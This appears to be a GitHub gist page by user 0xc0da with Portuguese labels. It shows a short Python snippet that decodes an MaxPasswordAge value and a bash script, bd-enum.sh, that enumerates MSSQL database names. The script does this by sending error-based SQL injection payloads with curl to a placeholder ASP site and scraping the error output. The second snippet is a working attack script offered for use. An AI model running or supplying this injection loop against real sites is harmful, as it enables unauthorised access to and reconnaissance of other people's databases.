Skip to content

Instantly share code, notes, and snippets.

View 0xc0da's full-sized avatar

Daniel 0xc0da

View GitHub Profile
Exemplo:
=======
MaxPasswordAge:
LowPart: 178683904
HighPart: -8449
Codigo:
=======
maxage = (resp["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]<<32) | resp["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]
print timedelta(microseconds=maxage)
@0xc0da
0xc0da / bd-enum.sh
Created October 24, 2012 19:43
Bash-fu SQLi - Enumerando BDs com SQLi e curl (MSSQL)
#!/bin/bash
n=0
OUTPUT="x"
until [ -z $OUTPUT ]; do
OUTPUT=$(curl "http://[site]/index.asp?id=1%27%20%20or%201%20in%20%28select%20db_name%28$n%29%29--" 2>1 \
| grep Falha | cut -d" " -f9)
echo $OUTPUT
let "n++"
done